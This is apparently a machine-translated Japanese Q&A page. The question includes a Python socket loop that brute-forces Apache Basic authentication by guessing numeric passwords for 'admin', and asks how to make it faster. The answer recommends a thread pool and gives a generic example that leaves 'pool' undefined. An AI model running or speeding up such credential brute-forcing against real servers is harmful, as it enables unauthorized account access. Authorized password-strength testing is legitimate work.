1

urllib や socket lib コーディングを使用せずに、Apache 認証に高速なブルート フォース テストを使用したいと考えています。ただし、connect() は非常に遅いタスク (400/m) です。

connect() 関数を繰り返し使用するときに効率を上げるにはどうすればよいですか (マルチプロセス アプローチを使用せずに、コード レベルのみで)。

for num in xrange(1,10000):
    s = socket(AF_INET, SOCK_STREAM)
    s.connect((ip,port))
    s.send("HEAD /test.php\nAuthorization: Basic "+b64encode("admin:"+str(num))+"\n\n")
    if '200 OK' in(s.recv(32)) :     
        print 'got password !',str(num)
    s.close()
4

1 に答える 1

0

スレッドプールを使用できます。multiprocessing.pool.ThreadPool パッケージを見てください。サイズ N のプールを作成し、for ループで imap_unordered() を使用して、スレッドごとに接続、送信、および受信できます。

プロセスのプール (スレッドではなく) に multiprocessing.pool.Pool を使用することもできますが、これは I/O バウンドになるように聞こえるため、ThreadPool の方が優れています。

例えば:

from multiprocessing.pool import ThreadPool as Pool
import random
import time

def do_something(x):
    delay = random.randint(1,3)
    time.sleep(delay)
    return x,delay

for i, result in pool.imap_unordered(do_something, range(10)):
    print i, result
于 2013-10-17T19:53:53.640 に答える